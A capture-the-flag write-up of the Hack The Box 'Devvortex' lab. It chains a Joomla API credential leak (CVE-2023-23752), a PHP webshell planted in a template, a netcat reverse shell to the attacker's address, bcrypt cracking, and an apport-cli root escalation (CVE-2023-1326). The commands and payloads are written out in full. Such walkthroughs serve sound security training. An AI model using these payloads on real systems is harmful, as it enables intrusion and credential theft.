HTB: Devvortex


Hack The Box: Devvortex

Difficulty: Easy · OS: Linux · Joomla · CVE-2023-23752 · CVE-2023-1326

TL;DR — the attack chain

  1. Only SSH and HTTP are open. Host-header fuzzing on port 80 reveals a dev.devvortex.htb vhost.
  2. Directory enumeration on the vhost uncovers a Joomla /administrator/ panel running v4.2.6.
  3. That version is vulnerable to CVE-2023-23752, an unauthenticated API information disclosure that leaks the Joomla database credentials.
  4. Those creds log into the Joomla admin panel; editing a template file plants a webshell, upgraded to a reverse shell as www-data.
  5. The Joomla DB creds open MySQL, where logan‘s bcrypt hash is dumped and cracked with hashcat.
  6. logan can run apport-cli as root via sudo — CVE-2023-1326 turns that into a root shell.

1. Enumeration

Kick things off with a service/version scan of the two obvious ports:

sudo nmap -p 22,80 -A -oN detailed_scan -oX detailed_scan.xml 10.129.229.146
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/

The web server redirects to devvortex.htb, so add that hostname to /etc/hosts:

echo "10.129.229.146  devvortex.htb" | sudo tee -a /etc/hosts

2. Finding the dev vhost

The main site is a static page with nothing interesting. Since nginx is clearly vhost-aware, fuzz the Host header to hunt for additional vhosts:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
     -u http://devvortex.htb/ \
     -H 'Host: FUZZ.devvortex.htb' -c -ac
dev   [Status: 200, Size: 23221, Words: 5081, Lines: 502]

A dev subdomain responds. Add it to /etc/hosts too, then enumerate files:

ffuf -u http://dev.devvortex.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c -fc 403
index.php           [Status: 200]
LICENSE.txt         [Status: 200]
robots.txt          [Status: 200]
configuration.php   [Status: 200]
README.txt          [Status: 200]
htaccess.txt        [Status: 200]

The presence of configuration.php, htaccess.txt and a standard README.txt is a strong Joomla fingerprint. The admin panel lives at http://dev.devvortex.htb/administrator/.

3. Fingerprinting Joomla

Joomla exposes its exact version in an unauthenticated XML manifest:

curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -
<version>4.2.6</version>
<creationDate>2022-12</creationDate>

You can confirm with droopescan:

docker run --rm --add-host dev.devvortex.htb:10.129.229.146 \
  asannou/droopescan scan joomla -u http://dev.devvortex.htb

Version 4.2.6 is vulnerable to CVE-2023-23752.

4. CVE-2023-23752 — leaking the database credentials

CVE-2023-23752 is an improper access-check in Joomla’s REST API. An unauthenticated request to the config endpoint returns the application configuration — including the MySQL username and password in plaintext:

curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq
{ "attributes": { "user": "lewis", "id": 224 } },
{ "attributes": { "password": "P4ntherg0t1n5r3c0n##", "id": 224 } }

These are Joomla’s database credentials, but Joomla reuses the same account for its admin login — so lewis:P4ntherg0t1n5r3c0n## also works on /administrator/.

5. Admin panel → webshell → reverse shell

Log into the Joomla admin panel as lewis. Under System → Site Templates → Cassiopeia, open a template file such as error.php and drop in a one-line webshell:

system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);

Save, then confirm code execution:

curl -s "http://dev.devvortex.htb/templates/cassiopeia/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Start a listener (nc -lvnp 80) and trigger a reverse shell. URL-encoding keeps the shell metacharacters intact:

curl -s -G --data-urlencode \
  "dcfdd5e021a869fcc6dfaef8bf31377e=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.4 80 >/tmp/f" \
  http://dev.devvortex.htb/templates/cassiopeia/error.php

You now have a shell as www-data. Upgrade it to a proper TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'

6. www-data → logan (database + hash cracking)

Read the Joomla config on disk to re-confirm the DB credentials:

public $user = 'lewis';
public $password = 'P4ntherg0t1n5r3c0n##';
public $db = 'joomla';
public $dbprefix = 'sd4fg_';

Log into MySQL and dump the Joomla users table (note the sd4fg_ prefix):

mysql -u lewis -p
SELECT name,username,password FROM joomla.sd4fg_users;
lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

These are bcrypt hashes (hashcat mode 3200). Crack Logan’s:

hashcat -m 3200 joomla.hash /usr/share/wordlists/rockyou.txt --force
...GThNiy/yBtkIj12:tequieromucho

Logan reuses this password for SSH:

nxc ssh devvortex.htb -u 'logan' -p 'tequieromucho'
[+] logan:tequieromucho  Linux - Shell access!

SSH in as logan and grab user.txt.

7. logan → root (CVE-2023-1326 via apport-cli)

Check Logan’s sudo rights:

logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

apport-cli is Ubuntu’s crash-reporting tool, vulnerable to CVE-2023-1326. When it displays a report through its pager (less) as root, you can break out to a shell — the same !command trick as sudo less.

First create a crash file for apport to chew on:

sleep 10 & kill -ABRT $!

Then open the crash report with sudo and view it:

sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
# press  V  to view the report
# at the less pager, run:
!/bin/bash

The spawned shell runs as root:

root@devvortex:~# id
uid=0(root) gid=0(root) groups=0(root)

Grab /root/root.txt — box owned. Reference PoC: github.com/diego-tella/cve-2023-1326-poc

Takeaways

  • Vhost fuzzing matters. The whole box hinges on a dev subdomain that never appears on the main site — always fuzz the Host header.
  • Patch your CMS. CVE-2023-23752 handed over plaintext DB creds with one unauthenticated request. Joomla ≥ 4.2.8 fixes it.
  • Credential reuse is the glue. One password bridged the database, the admin panel, and SSH.
  • Least privilege for sudo. Granting apport-cli via sudo is effectively granting root, because its pager can spawn a shell.